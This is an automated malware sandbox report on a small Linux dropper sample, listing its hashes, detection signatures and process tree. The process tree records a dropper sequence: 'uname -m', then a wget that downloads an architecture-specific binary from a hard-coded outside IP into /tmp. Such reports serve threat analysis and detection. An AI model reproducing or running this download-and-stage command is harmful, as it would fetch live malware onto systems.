Analysis
- max time kernel
147s - max time network
149s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
27/10/2026, 01:06
Static task
static1
Behavioral task
behavioral1
Sample
2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48
Resource
debian9-mipsel-20260513-en
General
- Target 2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48
- Size 1KB
- Sample261027-bf3dpahw91
- SHA256 2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48
- MD5 b58bb3ef177304836d01621f62e74b06
- SHA1 26ae42e817050c75f7a48a8eae89c16fc32e7033
- SHA512 d1f4adffa20fb19b23b1cb968973447e0f17dcb4664680c662e522149877faf27a61776622993329ee67e6cd1f9ad703f96abe5e86a33cf8a2983d84550bbd05
- TLSH T1AC2159F3F4B09C31B408842CFE4D66946887497F45E4BD5684D6BC20BA5C40A945EF32
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 723 wget - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/q wget
Processes
-
/tmp/2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de48/tmp/2a6defadcea2e83e6fd7e0ca907730151e0e9c6250ad8616b34645cadaf5de481⤵PID:716
-
/bin/unameuname -m2⤵PID:718
-
-
/bin/rmrm -f q2⤵PID:721
-
-
/usr/bin/wgetwget -q -O q http://31.56.209.86/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:723
-